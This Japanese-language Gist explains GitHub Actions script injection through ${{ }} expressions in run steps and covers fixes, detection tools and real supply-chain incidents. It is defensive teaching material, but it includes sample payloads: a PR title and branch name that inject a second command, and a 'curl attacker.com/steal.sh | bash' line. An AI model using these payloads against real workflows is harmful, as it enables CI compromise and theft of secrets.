Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save hdknr/1e29bea3f9f5cdf4a2b11eec4a2ab536 to your computer and use it in GitHub Desktop.

Select an option

Save hdknr/1e29bea3f9f5cdf4a2b11eec4a2ab536 to your computer and use it in GitHub Desktop.
GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している

GitHub Actions スクリプトインジェクション完全解説 — ${{ }}run に書いた瞬間、攻撃者にシェルを渡している

『GitHub CI/CD実践ガイド』著者の tmknom 氏(@tmknom)が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。

はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね!

引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。

何が危険なのか — 30秒で理解する

# 危険なコード
- run: echo "PR title is ${{ github.event.pull_request.title }}"

一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。

"; echo INJECTED"

展開後のシェルコマンドは以下になります。

echo "PR title is "; echo INJECTED""

セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。

なぜ起きるのか — テンプレート式の評価タイミング

GitHub Actions の ${{ }} テンプレート式は、シェルが起動する前に評価・展開されます。

ワークフロー YAML を読み込み
    ↓
${{ }} 式を文字列として展開(この時点でシェルは未起動)
    ↓
展開後の文字列をシェル(bash)に渡す
    ↓
シェルがコマンドとして解釈・実行

つまり ${{ }}シェル変数ではなく、文字列置換です。シェルの引用符やエスケープ機構を一切通過しないため、攻撃者が挿入した ;"$() などのメタ文字がそのままシェルに解釈されます。

攻撃対象になるコンテキスト

GitHub 公式ドキュメントによると、攻撃者が制御可能なコンテキストは以下の属性で終わるものです。

body, default_branch, email, head_ref, label, message, name, page_name, ref, title

具体的には以下が攻撃対象になります。

コンテキスト 攻撃経路
github.event.pull_request.title PR タイトルに悪意ある文字列を設定
github.event.pull_request.body PR 本文にインジェクションコードを埋め込み
github.event.issue.title Issue タイトルを利用
github.event.issue.body Issue 本文を利用
github.event.comment.body コメントを利用
github.head_ref ブランチ名にコードを埋め込み
github.event.commits[*].message コミットメッセージを利用

ブランチ名を使った攻撃

ブランチ名にはスペースが使えませんが、${IFS}(Internal Field Separator)で回避できます。

main";echo${IFS}INJECTED"

このブランチ名で PR を作成すると、${{ github.head_ref }} を使ったワークフローでインジェクションが成立します。

修正方法 — 環境変数を経由する

修正は 1 行の変更です。${{ }}run の中で直接使う代わりに、環境変数を経由させます。

危険なパターン

- run: echo "PR title is ${{ github.event.pull_request.title }}"

安全なパターン

- run: echo "PR title is ${PR_TITLE}"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

env で渡された値はシェル環境変数として扱われるため、メタ文字がコマンドとして解釈されません。

注意: ${{ env.* }} は安全ではない

# これも危険!
- run: echo "PR title is ${{ env.PR_TITLE }}"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

${{ env.PR_TITLE }} は再びテンプレート式として展開されるため、環境変数を経由した意味がなくなります。必ず ${PR_TITLE}(シェル変数参照)を使ってください。

実際の被害事例 — 2025年のサプライチェーン攻撃

スクリプトインジェクションが「理論上の脅威」ではないことは、2025年に発生した一連の攻撃で証明されています。

tj-actions/changed-files 攻撃(CVE-2025-30066)

2025年3月、23,000以上のリポジトリで使用されていた tj-actions/changed-files が侵害されました。

項目 内容
影響範囲 23,000+ リポジトリ
攻撃手法 複数バージョンタグを悪意あるコミットに書き換え
被害 CI ランナーのメモリダンプ → シークレット(PAT、npm トークン、RSA キー)が公開リポジトリのログに露出
関連 CVE CVE-2025-30154(reviewdog/action-setup も同時に侵害)

CISA(米国サイバーセキュリティ・社会基盤安全保障庁)が緊急アラートを発出する規模の事件でした。

Ultralytics YOLO 攻撃(2024年12月)

AI/ML で広く使われる YOLO ライブラリが、GitHub Actions ワークフローの脆弱性を突かれて侵害されました。CI/CD パイプライン経由で悪意あるコードがパッケージに混入し、PyPI を通じて配布されました。

Super-linter コマンドインジェクション(CVE-2026-25761)

2026年には、広く使われている Super-linter でファイル名を経由したコマンドインジェクションが発見されています。バージョン 6.0.0〜8.3.0 が影響を受け、攻撃者は細工されたファイル名にシェルコマンド置換構文を含めることで任意のコマンドを実行できました。

検出ツール — 自動で脆弱性を見つける

actionlint

GitHub Actions ワークフローファイルの静的解析ツールです。スクリプトインジェクションの検出に対応しています。

# インストール
brew install actionlint

# 実行
actionlint .github/workflows/*.yml

${{ }}run ステップで直接使用している箇所を検出し、警告を出します。

zizmor

GitHub Actions に特化したセキュリティ静的解析ツールです。actionlint より広範なセキュリティチェックを提供します。

# インストール
pip install zizmor

# 実行
zizmor .github/workflows/

検出項目:

  • テンプレートインジェクション
  • ハードコードされた認証情報
  • 過剰なトークン権限(permissions の設定漏れ)
  • ミュータブルタグでピン留めされたサードパーティ Actions
  • セキュリティアドバイザリが出ている Actions の使用

SARIF 形式での出力に対応しており、GitHub Advanced Security の Security タブに結果を表示できます。

CI/CD に組み込む

name: Security Check
on: [pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run actionlint
        uses: rhysd/actionlint@v1
      - name: Run zizmor
        run: |
          pip install zizmor
          zizmor .github/workflows/

防御チェックリスト

# 対策 説明
1 ${{ }}run で直接使わない 環境変数 env: を経由させる
2 ${{ env.* }} も使わない シェル変数 ${VAR} を使う
3 actionlint / zizmor を CI に導入 PR ごとに自動チェック
4 サードパーティ Actions をコミットハッシュでピン留め タグは書き換え可能なため @v1 ではなく @sha256:...
5 permissions を最小権限に設定 permissions: read-all やデフォルトの広い権限を避ける
6 pull_request_target を避ける Fork からの PR で書き込み権限が付与される危険なトリガー
7 シークレットをログに出力しない ::add-mask:: で自動マスクを設定

『GitHub CI/CD実践ガイド』について

tmknom 氏が「穴が開くまで読んでください」と呼びかけている『GitHub CI/CD実践ガイド』(技術評論社、2024年)は、GitHub Actions の設計と運用を体系的に解説した書籍です。

本書は以下を網羅しています。

  • GitHub Actions の基本構文からワークフロー設計
  • テスト・静的解析の自動化
  • シークレット管理と脆弱性検出
  • OpenID Connect を使った安全な認証
  • Dependabot によるサプライチェーン管理
  • コンテナデプロイとリリース自動化

スクリプトインジェクションのような個別の脆弱性だけでなく、CI/CD パイプライン全体のセキュリティ設計を学べる点が、単発の記事との違いです。

まとめ

  • ${{ }}run で直接使うとシェルインジェクションが成立する: テンプレート式はシェル起動前に展開されるため、攻撃者が挿入したメタ文字がそのままコマンドとして実行されます
  • 修正は環境変数を経由させるだけ: env: で渡して ${VAR} で参照する。${{ env.* }} は安全ではない点に注意
  • 2025年に23,000リポジトリが影響を受けた実例がある: tj-actions/changed-files の侵害は CISA が緊急アラートを出す規模でした
  • actionlint と zizmor で自動検出できる: CI/CD に組み込めば PR ごとにチェック可能です
  • サードパーティ Actions はコミットハッシュでピン留めする: タグは書き換え可能なためバージョン指定だけでは不十分です
  • プライベートリポジトリも安全ではない: GitHub App が侵害されればプライベートリポジトリのワークフローも攻撃対象になります

参考

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment